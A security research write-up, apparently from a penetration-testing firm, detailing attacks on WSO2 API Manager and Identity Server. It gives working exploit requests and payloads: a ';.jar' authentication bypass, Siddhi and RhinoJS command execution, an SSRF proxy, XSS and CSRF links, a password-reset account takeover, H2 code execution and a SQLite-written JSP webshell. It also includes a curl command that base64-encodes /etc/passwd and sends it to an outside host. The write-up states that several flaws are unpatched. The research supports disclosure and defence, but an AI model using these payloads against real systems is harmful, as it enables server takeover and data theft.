Introduction
WSO2 is a software provider offering multiple enterprise products, including the WSO2 API Manager for API lifecycle management and WSO2 Identity Server for authentication and authorization. These products share a common codebase and administration interfaces, which are often referred to as the "Carbon kernel".
Ambionics Security is a LEXFO service that provides continuous penetration testing, weekly counter-audits, and active threat monitoring. During our assessments, we identified several WSO2 instances exposed on the Internet. We investigated these exposed instances for both known vulnerabilities and new attack methods.
This investigation revealed:
- Multiple Remote Code Execution paths
- Multiple authentication bypasses enabling exploitation of authenticated vulnerabilities
- Server-Side Request Forgery (SSRF) attacks with full request control
- Cross-Site Scripting (XSS) attacks
- Cross-Site Request Forgery (CSRF) attacks
This article focuses on two flagship products:
- API Manager - API lifecycle management platform
- Identity Server - IAM solution for authentication/authorization
While examining known vulnerabilities, we discovered new weaknesses in WSO2's shared codebase that affect multiple products. This article demonstrates how these flaws allow attackers to obtain remote-code-execution even on hardened installations.
A. Reconnaissance on WSO2 products
Before diving into the vulnerabilities, it's crucial to understand how to identify WSO2 deployments and map their attack surface. WSO2 products have several distinct entry points that can be leveraged for reconnaissance and exploitation.
1. Fingerprinting
WSO2 products can be identified by probing the Version service endpoint:
GET /services/Version HTTP/1.1
Host: target-host
A WSO2 instance will typically respond with XML containing the product name and version:
HTTP/1.1 200 OK
Content-Type: application/xml; charset=UTF-8
<ns:getVersionResponse xmlns:ns="http://version.services.core.carbon.wso2.org">
<return>WSO2 API Manager-4.4.0</return>
</ns:getVersionResponse>
This information immediately reveals which WSO2 product is running and its version, allowing an attacker to determine applicable vulnerabilities. Note that this service isn't available in some products like WSO2 Identity Server.
When the Version service is unavailable, the product release year can often be estimated from the copyright banner displayed on the Carbon Management Console login page:

The mere presence of a WSO2 product can be revealed by checking for the characteristic server header:
HTTP/1.1 200 OK
Server: WSO2 Carbon Server
2. Primary attack surfaces
WSO2 products expose two main entry points that are of particular interest:
Carbon Management Console (/carbon)
The Carbon Management Console is the administrative interface used across most WSO2 products. It provides access to configuration settings, user management, and various administrative functions. By default, it's accessible at:
https://target-host/carbon/
Default credentials are admin:admin, though these may be changed in production environments. Many of the vulnerabilities described in this article target this interface.

SOAP services (/services)
WSO2 exposes numerous SOAP web services under the /services path. These services power both the administrative console and the core product functionality. Many of these endpoints may be accessible without proper authentication, and identifying available services is crucial for understanding the attack surface.
Hidden services
To discover all deployed services, download a matching WSO2 release from the official site, start the server with the OSGi console enabled (-DosgiConsole), and run the listHiddenServices command:
osgi> listHiddenServices
Hidden services deployed on this server:
1. ModuleAdminService, ModuleAdminService, https://<hostname>:8243/services/ModuleAdminService
2. __MultitenantDispatcherService, null, http://<hostname>:8280/services/__MultitenantDispatcherService https://<hostname>:8243/services/__MultitenantDispatcherService local:///services/__MultitenantDispatcherService/
3. EventStatisticsAdminService, EventStatisticsAdminService, https://<hostname>:8243/services/EventStatisticsAdminService
4. ThemeMgtService, ThemeMgtService, https://<hostname>:8243/services/ThemeMgtService
5. RemoteUserRealmService, RemoteUserRealmService, https://<hostname>:8243/services/RemoteUserRealmService
6. Product, null, https://<hostname>:8243/services/Product
7. EventPublishService, EventPublishService, http://<hostname>:8280/services/EventPublishService https://<hostname>:8243/services/EventPublishService
8. echo, echo, https://<hostname>:8243/services/echo http://<hostname>:8280/services/echo
9. Document, null, https://<hostname>:8243/services/Document
10. I18nEmailMgtConfigService, I18nEmailMgtConfigService, https://<hostname>:8243/services/I18nEmailMgtConfigService
11. ListMetadataService, ListMetadataService, https://<hostname>:8243/services/ListMetadataService
12. PropertiesAdminService, PropertiesAdminService, https://<hostname>:8243/services/PropertiesAdminService
13. APILocalEntryAdmin, APILocalEntryAdmin, https://<hostname>:8243/services/APILocalEntryAdmin
14. AndesEventAdminService, AndesEventAdminService, https://<hostname>:8243/services/AndesEventAdminService
15. RemoteUserStoreManagerService, RemoteUserStoreManagerService, https://<hostname>:8243/services/RemoteUserStoreManagerService
16. LogViewer, LogViewer, https://<hostname>:8243/services/LogViewer
17. SearchAdminService, SearchAdminService, https://<hostname>:8243/services/SearchAdminService
18. FunctionLibraryManagementAdminService, FunctionLibraryManagementAdminService, https://<hostname>:8243/services/FunctionLibraryManagementAdminService
19. ws-xacml, ws-xacml, https://<hostname>:8243/services/ws-xacml
20. RedirectorServletService, RedirectorServletService, https://<hostname>:8243/services/RedirectorServletService
21. CustomMeteringService, CustomMeteringService, https://<hostname>:8243/services/CustomMeteringService
22. UserAdmin, UserAdmin, https://<hostname>:8243/services/UserAdmin
23. UserStoreConfigAdminService, UserStoreConfigAdminService, https://<hostname>:8243/services/UserStoreConfigAdminService
24. TaskAdmin, TaskAdmin, https://<hostname>:8243/services/TaskAdmin
25. RegistryCacheInvalidationService, RegistryCacheInvalidationService, https://<hostname>:8243/services/RegistryCacheInvalidationService
26. ServerAdmin, ServerAdmin, https://<hostname>:8243/services/ServerAdmin
27. RelationAdminService, RelationAdminService, https://<hostname>:8243/services/RelationAdminService
28. ConfigServiceAdmin, ConfigServiceAdmin, https://<hostname>:8243/services/ConfigServiceAdmin
29. PackageInfoService, PackageInfoService, https://<hostname>:8243/services/PackageInfoService
...
Listing services
On an actual production deployment, some services might be unavailable. To map your attack surface, you can enumerate available endpoints using an error-based approach:


User permissions
Each SOAP service and method requires a specific permission string, for example:
/permission/admin/login: authenticated users/permission/admin: administrators
You can list these permission requirements using the listSystemServicesInfo command:
osgi> listSystemServicesInfo
All System services deployed on this server.
1. ModuleAdminService, AdminService, HiddenService, https://<hostname>:8243/services/ModuleAdminService, Permission - /permission/admin/manage/modify/module
disengageModuleFromSystem(), Permission - /permission/admin/manage/modify/module
listModulesForOperation(), Permission - /permission/admin/manage/modify/service
listGloballyEngagedModules(), Permission - /permission/admin/manage/modify/module
listModulesForService(), Permission - /permission/admin/manage/modify/service
globallyEngageModule(), Permission - /permission/admin/manage/modify/module
globallyDisengageModule(), Permission - /permission/admin/manage/modify/module
disengageModuleForOperation(), Permission - /permission/admin/manage/modify/service
removeModule(), Permission - /permission/admin/manage/modify/module
listModules(), Permission - /permission/admin/manage/modify/module
engageModuleForServiceGroup(), Permission - /permission/admin/manage/modify/service
getModuleInfo(), Permission - /permission/admin/manage/modify/module
engageModuleForService(), Permission - /permission/admin/manage/modify/service
disengageModuleForServiceGroup(), Permission - /permission/admin/manage/modify/service
removeModuleParameter(), Permission - /permission/admin/manage/modify/module
uploadModule(), Permission - /permission/admin/manage/modify/module
setModuleParameters(), Permission - /permission/admin/manage/modify/module
disengageModuleForService(), Permission - /permission/admin/manage/modify/service
engageModuleForOperation(), Permission - /permission/admin/manage/modify/service
getModuleParameters(), Permission - /permission/admin/manage/modify/module
listModulesForServiceGroup(), Permission - /permission/admin/manage/modify/service
2. __MultitenantDispatcherService, HiddenService, http://<hostname>:8280/services/__MultitenantDispatcherServicehttps://<hostname>:8243/services/__MultitenantDispatcherServicelocal:///services/__MultitenantDispatcherService/
dispatch()
3. EventStatisticsAdminService, AdminService, HiddenService, https://<hostname>:8243/services/EventStatisticsAdminService, Permission - /permission/admin/monitor/event-streams
getElementCount(), Permission - /permission/admin/monitor/event-streams
getGlobalCount(), Permission - /permission/admin/monitor/event-streams
getCategoryCount(), Permission - /permission/admin/monitor/event-streams
getDeploymentCount(), Permission - /permission/admin/monitor/event-streams
4. ThemeMgtService, AdminService, HiddenService, https://<hostname>:8243/services/ThemeMgtService
getSessionResourcePath(), Permission - /permission/admin/configure/theme
getResourceTreeEntry(), Permission - /permission/admin/configure/theme
getMetadata(), Permission - /permission/admin/configure/theme
applyTheme(), Permission - /permission/admin/configure/theme
getTextContent(), Permission - /permission/admin/configure/theme
getResourceData(), Permission - /permission/admin/configure/theme
getCollectionContent(), Permission - /permission/admin/configure/theme
delete(), Permission - /permission/admin/configure/theme
getAllPaths(), Permission - /permission/admin/configure/theme
getAllThemes(), Permission - /permission/admin/configure/theme
getContentBean(), Permission - /permission/admin/configure/theme
renameResource(), Permission - /permission/admin/configure/theme
addTextResource(), Permission - /permission/admin/configure/theme
importResource(), Permission - /permission/admin/configure/theme
addResource(), Permission - /permission/admin/configure/theme
addCollection(), Permission - /permission/admin/configure/theme
updateTextContent(), Permission - /permission/admin/configure/theme
getContentDownloadBean(), Permission - /permission/admin/configure/theme
5. RemoteUserRealmService, AdminService, HiddenService, https://<hostname>:8243/services/RemoteUserRealmService, Permission - /permission/protected/tenant-admin
getRealmConfiguration(), Permission - /permission/protected/tenant-admin
6. Product, AdminService, HiddenService, https://<hostname>:8243/services/Product, Permission - /permission/admin/login
getProduct(), Permission - /permission/admin/manage/resources/govern/product/list
getProductArtifactIDs(), Permission - /permission/admin/manage/resources/govern/product/list
getProductDependencies(), Permission - /permission/admin/manage/resources/govern/product/list
addProduct(), Permission - /permission/admin/manage/resources/govern/product/add
updateProduct(), Permission - /permission/admin/manage/resources/govern/product/add
deleteProduct(), Permission - /permission/admin/manage/resources/govern/product/add
7. EventPublishService, HiddenService, http://<hostname>:8280/services/EventPublishServicehttps://<hostname>:8243/services/EventPublishService, Permission - /permission/admin/manage/event
publish(), Permission - /permission/admin/manage/event
9. Document, AdminService, HiddenService, https://<hostname>:8243/services/Document, Permission - /permission/admin/login
getDocumentDependencies(), Permission - /permission/admin/manage/resources/govern/document/list
getDocumentArtifactIDs(), Permission - /permission/admin/manage/resources/govern/document/list
addDocument(), Permission - /permission/admin/manage/resources/govern/document/add
getDocument(), Permission - /permission/admin/manage/resources/govern/document/list
deleteDocument(), Permission - /permission/admin/manage/resources/govern/document/add
updateDocument(), Permission - /permission/admin/manage/resources/govern/document/add
...
To view your current user's permissions, call the LoggedUserInfoAdmin/getUserInfo SOAP endpoint:

Service definitions
To dump WSDLs and definitions for all admin services, use the dumpAdminServices command:
osgi> dumpAdminServices
Admin service info dump created at /wso2am-4.5.0/tmp/adminServices
B. Unauthenticated vulnerabilities
1. Arbitrary file upload (CVE-2022-29464)
This patched unauthenticated RCE (as documented in this writeup) served as WSO2's main exploitation vector.
We developed our own exploit to address version-specific limitations of existing exploits.
2. Authentication bypass
In an authentication-related middleware from the shared codebase, the following line of code was identified:

The middleware allows unauthenticated access to any .jar and .class files. This validation is flawed - the file extension check is performed on the URI, but the actual routing is performed on the filename.
https://example.com/path/resource.jsp;param1=value1?query=value#fragment
|______| |_________| |_____________| |________| |_________| |_______|
| | | | | |
Protocol Host Path Matrix Param Query Fragment
|
The vulnerability exists here - security check looks
at the whole URI, but routing only uses path portion
The query part and fragment are removed from the URI by the HTTP server. However, the "matrix parameters" (also called "path parameters") are kept, so for such an URL:
http://localhost:9443/carbon/MyAdminPage.jsp;.jar
This authentication check sees the following URI:
/carbon/MyAdminPage.jsp;.jar
However, when the webserver needs to decide what servlet to send the request to, it uses the filename, so it only sees:
MyAdminPage.jsp
This is a common case of ACL bypass due to path processing inconsistencies.

Appending ;.jar to any carbon administration console JSP file allows accessing the page, bypassing this middleware:


Available pages depend on the WSO2 product but also its specific versions, as features available in the management console vary drastically depending on the version.
We reviewed the accessible pages within WSO2 API Manager and Identity Server and identified several pages that posed significant risks. In one version, an unauthenticated Remote Code Execution vulnerability was discovered.
3. RCE via Siddhi Streaming SQL
Siddhi Streaming SQL is a domain-specific language developed specifically for WSO2. It is designed to process events in a "streaming manner".
The set of rules defining how an event should be processed is called a Siddhi Execution Plan, or Siddhi Application. It usually defines an input stream, from which events are received (e.g.: Kafka), a processing query, which might transform the input events using various means, and an output sink (e.g.: a logging server).
Many dangerous features are available to Siddhi Execution Plans, one of them is the ability to define and execute arbitrary JavaScript functions
JavaScript in Java: The ScriptEngine API
Java has long included its own JavaScript implementation through ScriptEngine, Java's implementation is a pure Java interpretation of the ECMAScript specification. This implementation, known as Nashorn, allows JavaScript code to be executed directly within Java applications.
The ScriptEngine provides a bridge between JavaScript and Java, enabling JavaScript code to call Java methods and access Java classes directly. This tight integration means that JavaScript running in a Java environment has full access to the underlying Java runtime, including potentially dangerous operations like file system access and process execution.
Crucially, this JavaScript execution occurs without the protection of a sandbox by default. While this provides powerful integration capabilities, it also means that any JavaScript code executed through ScriptEngine can potentially perform arbitrary Java operations, leading to security vulnerabilities if untrusted code is executed.
This direct access to Java classes is what enables the remote code execution demonstrated in the following example. The JavaScript function can call Java's Runtime.exec() method directly, allowing execution of system commands on the server.
The following Siddhi Javascript function allows the execution of the command id:
define function myexec[JavaScript] return string {{
java.lang.Runtime.getRuntime().exec(["/bin/sh", "-c", "id"]);
return "";
}};
ScriptEngine has been removed since Java 17. However, depending on the specific instance configuration, other languages might be available, such as Scala, Python, or R
Un-authenticated Siddhi execution (RCE)
In some versions, the partial authentication bypass allows attackers to reach a page that enables users to execute arbitrary Siddhi Execution Plans.

This page is normally authenticated, trying to access it without session cookies will result in a "403 Forbidden error":

However, using the ;.jar trick we discussed earlier, full access to this feature is granted:

Here, we also used another "trick", we switched the "POST" to a "GET" request, and passed the body parameters as URL parameters, this avoids the need for a CSRF token.
WSO2 products usually allow any POST request to also be passed as GET. This is very convenient but also completely unsecure as it allows bypassing all CSRF protections, which means that basically all endpoints in the carbon console are vulnerable to CSRF attacks.
Let's get back to exploiting the Siddhi execution, the following execution plan can be used to execute the command id on each input event:
@Plan:name('RCEExecutionPlan')
define stream RCEStream (_ string);
@sink(type='log')
define stream logStream (_ string, output string);
define function RCEFunc[JavaScript] return string {
// Execute the command and capture the output
var process = java.lang.Runtime.getRuntime().exec(["sh", "-c", "id"]);
var reader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));
var output = "";
var line = reader.readLine();
while (line != null) {
output += line + "\n";
line = reader.readLine();
}
reader.close();
return output;
};
from RCEStream select _, RCEFunc(_) as output
insert into bridgeStream;
from bridgeStream
select *
insert into logStream;
The command output will be displayed inside the web page:

This page was only found to be present in WSO2 API-Manager before v2.6.0, though it might be available in other WSO2 products that were not evaluated during our assessment.
4. SSRF with full request control
In all WSO2 products assessed across all versions, the file WSRequestXSSproxy_ajaxprocessor.jsp was found to be accessible by bypassing authentication using the ;.jar trick described earlier. This file offers a proxy for HTTP requests and allows almost full control of the request's content and target. By passing Axis2 options, an attacker can submit parameters as URL-encoded, multipart, JSON, or XML forms using any HTTP method they choose. They can also pass credentials which will be transmitted as Basic Authorization. However, only XML responses can be returned to the client.
Server-Side Request Forgery (SSRF) vulnerabilities typically allow attackers to make requests from the server to other internal systems. In most cases, attackers can only control the target URL. However, this particular SSRF provides nearly complete control over the HTTP request, including headers, parameters, and body content. This significantly increases its exploitation potential, enabling advanced attacks that wouldn't be possible with a typical SSRF vulnerability.
This SSRF vulnerability is particularly powerful as it can be used in two ways: to attack other services in the internal network, and to target the WSO2 instance itself on localhost. For example, if the SOAP Administration services are not exposed via the /services route, the SSRF can be used to reach the internal Passthrough port (8280) which exposes them. This allows exploiting many vulnerabilities that will be discussed further.
The WSRequestXSSproxy_ajaxprocessor.jsp can also be used to deliver XSS payloads to a user, as the response served by the proxy uses the content-type text/html. An attacker can craft a link to WSRequestXSSproxy_ajaxprocessor.jsp that will fetch an XSS payload from an attacker-controlled server and deliver it to the user as HTML. For example, this file:
<?xml version="1.0"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://example.org/webservice">
<soapenv:Header/>
<soapenv:Body>
<web:Response>
<script>alert(1)</script>
</web:Response>
</soapenv:Body>
</soapenv:Envelope>
Will be returned as text/html to the user, and an alert popup will be displayed.
A Python script to exploit this SSRF vulnerability is available here.
5. Cross-Site Request Forgery
Although SOAP services typically expect XML by definition, WSO2 tries to be Content-Type agnostic. This means parameters can also be passed as URL parameters, POST url-encoded forms, or JSON. This was found to have the unexpected side-effect of enabling CSRF attacks on critical endpoints.
The Siddhi execution features explored earlier can also be exploited in the SOAP services through CSRF. A malicious execution plan like the following:
@Plan:name('RCEExecutionPlan')
define trigger StartupTrigger at 'start';
define function myexec[JavaScript] return string {
java.lang.Runtime.getRuntime().exec(["/bin/sh", "-c", "curl http://ambionics.io:2727?$(base64 -w0 /etc/passwd)"]);
return "";
};
@Sink(type='log', prefix='')
define stream StartupLogStream (executionResult String);
from StartupTrigger
select myexec(1) as executionResult
insert into StartupLogStream;
Can be executed if a legitimate user clicks on this URL:
https://victim.com/services/EventProcessorAdminService/deployExecutionPlan?executionPlan=%40Plan%3aname('RCEExecutionPlan')%0d%0adefine%20trigger%20StartupTrigger%20at%20'start'%3b%0d%0adefine%20function%20myexec%5bJavaScript%5d%20return%20string%20%7b%0d%0a%20java.lang.Runtime.getRuntime().exec(%5b%22%2fbin%2fsh%22%2c%20%22-c%22%2c%20%22curl%20http%3a%2f%2fambionics.io%3a2727%3f%24(base64%20-w0%20%2fetc%2fpasswd)%22%5d)%3b%0d%0areturn%20%22%22%3b%0d%0a%7d%3b%0d%0a%40Sink(type%3d'log'%2c%20prefix%3d'')%0d%0adefine%20stream%20StartupLogStream%20(executionResult%20String)%3b%0d%0afrom%20StartupTrigger%0d%0aselect%20myexec(1)%20as%20executionResult%0d%0ainsert%20into%20StartupLogStream%3b
The details of Siddhi execution via SOAP services will be discussed in the authenticated vulnerabilities section.
Most SOAP Administration services can be fully consumed using only URL parameters, making them vulnerable to CSRF attacks.
C. Account takeover
Beyond unauthenticated bugs, ZDI disclosed a full account-takeover chain (CVE-2024-7097 & CVE-2024-6914) requiring no user interaction. While ZDI did not publish any exploitation details, we examined the patches provided by WSO2 in their open-source repository and built working exploits for both vulnerabilities.
1. Self-Registration (CVE-2024-7097)
An unprivileged user can be created via the UserRegistrationAdminService:
POST /services/UserRegistrationAdminService.UserRegistrationAdminServiceHttpsSoap11Endpoint HTTP/1.1
SOAPAction: urn:addUser
Content-Type: text/xml;charset=UTF-8
Host: victim.com
Content-Length: 531
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://org.apache.axis2/xsd">
<soapenv:Header/>
<soapenv:Body>
<xsd:addUser>
<xsd:user>
<xsd:userName>eviluser</xsd:userName>
<xsd:password>evilpass</xsd:password>
</xsd:user>
</xsd:addUser>
</soapenv:Body>
</soapenv:Envelope>
2. Flawed password reset process (CVE-2024-6914)
The UserInformationRecoveryService orchestrates password resets via four SOAP calls:
verifyUser(username)- Starts the recovery session and issues a token
getUserChallengeQuestions(username, token)- Returns configured questions (might be zero)
verifyUserChallengeAnswers(answers[], token)- Marks the token verified if the number of correct answers equals the number of questions
updatePassword(username, newPassword, token)- Allows the reset only if the token is verified
In the original verifyUserChallengeAnswers, the check:
if (storedQuestions.length == count) {
verification = true;
}
passes when both sides are zero—i.e. no questions and no answers—incorrectly granting verification.
The vendor's patch simply injects a guard to reject the zero-answer case before the length check:
}
}
+ if (count == 0) {
+ verification = false;
+ }
if (verification) {
verification = (storedUserChallengeDTOs.length == count);
}
An attacker abuses this by calling verifyUserChallengeAnswers with an empty answer set for a user who has no questions (e.g. admin), then immediately invoking updatePassword with the token to reset the password without supplying any answers. With the new admin password, they gain full access to SOAP admin services, the /carbon console, and any internal RMI endpoints.
The original admin password can be found in plaintext in the repository/conf/user-mgt.xml configuration file. After a successful exploitation, this password must be restored.

The same password-reset exploit can be used to revert the password to its original value.
⚠️ WSO2 applications will fail to start if the admin password is different than the one configured in the user-mgt.xml file
D. Authenticated RCE vulnerabilities
The vulnerabilities related to the Siddhi RCE and the arbitrary file upload are unlikely to be exploitable on most targets, as they are likely patched or unavailable. However, there are multiple authenticated vulnerabilities that can be leveraged to escalate to RCE if an attacker gains access to an account.
1. Siddhi RCE via SOAP administration services (CVE-2025-5717)
Siddhi executes queries when processing an event. A "trigger" event can be defined to execute at specific time periods using a cron expression, or at the execution plan deployment using the start expression.
POST /services/EventProcessorAdminService HTTP/1.1
Host: vulnerable-host:8243
Content-Type: text/xml; charset=utf-8
SOAPAction: urn:deployExecutionPlan
Authorization: Basic <creds>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ns="http://admin.processor.event.carbon.wso2.org">
<soapenv:Header/>
<soapenv:Body>
<ns:deployExecutionPlan>
<ns:executionPlan><![CDATA[
@Plan:name('RCEExecutionPlan')
define trigger StartupTrigger at 'start';
define function myexec[JavaScript] return string {
java.lang.Runtime.getRuntime().exec(["/bin/sh", "-c", "curl http://ambionics.io:2727?$(base64 -w0 /etc/passwd)"]);
return "";
};
@Sink(type='log', prefix='')
define stream StartupLogStream (executionResult String);
from StartupTrigger
select myexec(1) as executionResult
insert into StartupLogStream;
]]></ns:executionPlan>
<ns:tenantId>-1234</ns:tenantId>
</ns:deployExecutionPlan>
</soapenv:Body>
</soapenv:Envelope>
This enables blind command execution. An attacker could also deploy a malicious execution plan that triggers an event periodically to maintain persistence on the compromised server.
An exploit script for this Siddhi SOAP RCE vulnerability is available here.
This vulnerability was assigned CVE-2025-5717
2. RCE via Data-sources admin service
The NDataSourceAdmin service's testDataSourceConnection method allows attackers to connect to arbitrary JDBC URIs and run SQL.
RCE via H2 SQL
H2 is an in-memory database written entirely in Java, often used for embedded database applications. Like SQLite, it is lightweight and doesn't require a separate server process, but it is specifically designed for Java environments. This Java-native implementation gives H2 unique capabilities, including the ability to define and call Java methods directly from SQL queries. While this provides great flexibility for database operations, it also introduces significant security risks when untrusted code is executed.
One of H2's powerful features is its support for user-defined functions (UDFs) written in Java. These functions can be created using SQL's CREATE ALIAS syntax, allowing Java code to be executed whenever the function is called in a query. While this provides great flexibility for database operations, it also introduces significant security risks when untrusted code is executed.
The Java code in these UDFs runs with the same privileges as the database itself, meaning it has full access to the Java runtime environment. This includes the ability to execute system commands, access the file system, and perform other potentially dangerous operations.
The exploit consists of two main components. First, a SQL function is created in the H2 database to execute system commands and return their output. This function is then triggered through a SOAP request to the WSO2 admin service.
The following SQL creates a function called EXEC_READ that takes a command as its input, executes it on the system, and returns the output:
DROP ALIAS IF EXISTS EXEC_READ;
CREATE ALIAS EXEC_READ AS $$
String execRead(String cmd) throws Exception {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
throw new RuntimeException("CMD OUTPUT:\n" + sb.toString());
}
$$;
CALL EXEC_READ('id');
To execute this UDF against the H2 database, a SOAP request is sent to the NDataSourceAdmin service. The UDF is embedded in the validationQuery parameter of the database configuration:
POST /services/NDataSourceAdmin.NDataSourceAdminHttpsSoap12Endpoint/ HTTP/1.1
Host: victim-host:9443
Content-Type: application/soap+xml;charset=UTF-8
SOAPAction: "urn:testDataSourceConnection"
Authorization: Basic <creds>
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"
xmlns:ser="http://org.apache.axis2/xsd"
xmlns:xsd="http://org.apache.axis2/xsd"
xmlns:core="http://core.ndatasource.carbon.wso2.org/xsd">
<soap:Header/>
<soap:Body>
<ser:testDataSourceConnection>
<ser:dsmInfo>
<xsd:definition>
<xsd:dsXMLConfiguration>
<![CDATA[
<configuration xmlns:svns="http://org.wso2.securevault/configuration">
<url>jdbc:h2:/tmp/exploit-h2.db;DB_CLOSE_ON_EXIT=FALSE;LOCK_TIMEOUT=60000</url>
<username></username>
<password></password>
<driverClassName>org.h2.Driver</driverClassName>
<maxActive>50</maxActive>
<maxWait>60000</maxWait>
<testOnBorrow>true</testOnBorrow>
<validationQuery>
DROP ALIAS IF EXISTS EXEC_READ;
CREATE ALIAS EXEC_READ AS $$
String execRead(String cmd) throws Exception {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
throw new RuntimeException("CMD OUTPUT:\n" + sb.toString());
}
$$;
CALL EXEC_READ('id');
</validationQuery>
<validationInterval>30000</validationInterval>
<defaultAutoCommit>true</defaultAutoCommit>
</configuration>
]]>
</xsd:dsXMLConfiguration>
<xsd:type>RDBMS</xsd:type>
</xsd:definition>
<xsd:description>Test H2 Database Connection</xsd:description>
<xsd:jndiConfig>
<core:name>jdbc/TestH2DB</core:name>
<core:useDataSourceFactory>false</core:useDataSourceFactory>
</xsd:jndiConfig>
<xsd:name>TEST_H2_DB</xsd:name>
<xsd:system>false</xsd:system>
</ser:dsmInfo>
</ser:testDataSourceConnection>
</soap:Body>
</soap:Envelope>
The command output is returned in the SOAP fault, confirming successful execution. A Python exploit script is available here.
💡 This is an error-based exploitation technique.
The `validationQuery` is crafted to execute the command and then throw an exception, forcing the output into the error message.
RCE via SQLite file-write
Here, we create a SQLite database file whose name ends in .jsp, embedding JSP code inside the binary database. The JSP engine ignores the SQLite file header (binary preamble) and executes only the <% … %> tags, allowing our payload to remain untransformed and run as a webshell.
The SQLite JDBC driver allows file creation in arbitrary locations through its connection parameters. This can be leveraged to write a JSP webshell. The attack process involves two steps:
- Create a JSP-named database
POST /services/NDataSourceAdmin.NDataSourceAdminHttpsSoap12Endpoint/ HTTP/1.1
…
<![CDATA[
<configuration xmlns:svns="http://org.wso2.securevault/configuration">
<url>jdbc:SQLite:./repository/deployment/server/webapps/authenticationendpoint/js/shell.jsp</url>
…
<validationQuery>
CREATE TABLE IF NOT EXISTS plaintext_data (
id INTEGER PRIMARY KEY AUTOINCREMENT,
content TEXT NOT NULL COLLATE BINARY
);
</validationQuery>
</configuration>
]]>
- Inject the JSP payload
POST /services/NDataSourceAdmin.NDataSourceAdminHttpsSoap12Endpoint/ HTTP/1.1
…
<![CDATA[
<configuration xmlns:svns="http://org.wso2.securevault/configuration">
<url>jdbc:SQLite:./repository/deployment/server/webapps/authenticationendpoint/js/shell.jsp</url>
…
<validationQuery>
INSERT INTO plaintext_data (content) VALUES (CAST('<%@ page import="java.io.*" %>
<%
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader i = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = i.readLine()) != null) {
out.println(line);
}
%>' AS BLOB));
</validationQuery>
</configuration>
]]>
💡 The
<configuration>XML data is embedded within a parent XML document, so special characters like<must be properly escaped.See the exploit implementation for details.
Once deployed, the file shell.jsp sits in the webapps directory as a valid JSP. You can then execute it directly:
GET /authenticationendpoint/js/shell.jsp?cmd=cat+/etc/passwd

An exploit script is available here.
3. Adding a malicious API (API Manager only)
WSO2 API Manager includes a feature that allows developers to create APIs using inline JavaScript code through its embedded RhinoJS engine. This JavaScript engine has unrestricted access to Java classes by default. A malicious API can directly execute arbitrary commands using Java classes such as ProcessBuilder.
Below is a short JS API implementation that reads a cmd query parameter, executes it, and returns the output as JSON:
var cmd = mc.getProperty('query.param.cmd');
var p = new java.lang.ProcessBuilder("/bin/sh","-c",cmd).start();
var out = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
var sb = new java.lang.StringBuilder(), line;
while((line = out.readLine())!=null) sb.append(line).append("\n");
mc.setPayloadJSON([sb.toString()]);
You can deploy this API via the Management UI:

Or by posting a multipart/form-data request to the APIGatewayAdmin service:
POST /services/APIGatewayAdmin/addApi HTTP/1.1
Authorization: Basic ...
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3TozQllGqIK1NX0N
Content-Length: 2176
------WebKitFormBoundary3TozQllGqIK1NX0N
Content-Disposition: form-data; name="apiName"
rce
------WebKitFormBoundary3TozQllGqIK1NX0N
Content-Disposition: form-data; name="apiProviderName"
admin
------WebKitFormBoundary3TozQllGqIK1NX0N
Content-Disposition: form-data; name="version"
1.0.0
------WebKitFormBoundary3TozQllGqIK1NX0N
Content-Disposition: form-data; name="apiConfig"
<api xmlns="http://ws.apache.org/ns/synapse" name="admin--rce" context="/rce">
<resource methods="GET" url-mapping="/rce">
<inSequence xmlns="http://ws.apache.org/ns/synapse">
<script language="js"><![CDATA[
var cmd = mc.getProperty('query.param.cmd');
var p = new java.lang.ProcessBuilder("/bin/sh","-c",cmd).start();
var out = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
var sb = new java.lang.StringBuilder(), line;
while((line = out.readLine())!=null) sb.append(line).append("\n");
mc.setPayloadJSON([sb.toString()]);
]]></script>
<respond/>
</inSequence>
<outSequence xmlns="http://ws.apache.org/ns/synapse">
<send/>
</outSequence>
</resource>
</api>
------WebKitFormBoundary3TozQllGqIK1NX0N--
This creates an API at http://<host>:8280/rce/rce?cmd=… or https://<host>:8243/rce/rce?cmd=…. If port 8280/8243 is not directly reachable, the earlier SSRF vector (Section B.4) can be used to access it.
This multipart/form-data request can also be converted into a GET request and used as a CSRF sink (see Section B.5).
4. RMI/JMX service exploitation
WSO2 products typically expose Java Management Extensions (JMX) services via RMI on ports 9999 (JMX) and 11111 (RMI registry). While these services are rarely internet-facing, they're frequently exposed on internal networks with the default credentials (admin:admin) remaining unchanged.
Authenticated attackers can leverage JMX's inherent design - which allows remote code execution via MBean operations - using tools like beanshooter's tonka module. This provides a direct path to command execution by deploying and invoking malicious MBeans, making it a critical risk in environments where JMX services are accessible with weak credentials.
E. Regarding CVE Assignment
We attempted to obtain CVE identifiers for all vulnerabilities discovered during our research. WSO2 operates as a CVE Numbering Authority (CNA), meaning vulnerability disclosures and CVE assignments for their products are handled internally.
Out of the multiple vulnerabilities we reported, WSO2 addressed and assigned a CVE identifier to only one: the Siddhi RCE via SOAP administration services (CVE-2025-5717 ). The remaining vulnerabilities were not remediated, and no CVEs were assigned by WSO2. We subsequently attempted to report the unaddressed vulnerabilities to MITRE directly to request CVE assignment, but we received no response to our initial report or our follow-up inquiries.
As a result, any vulnerability discussed in this article without a CVE identifier should be considered unpatched and may affect even the latest versions of WSO2 products.
Conclusion
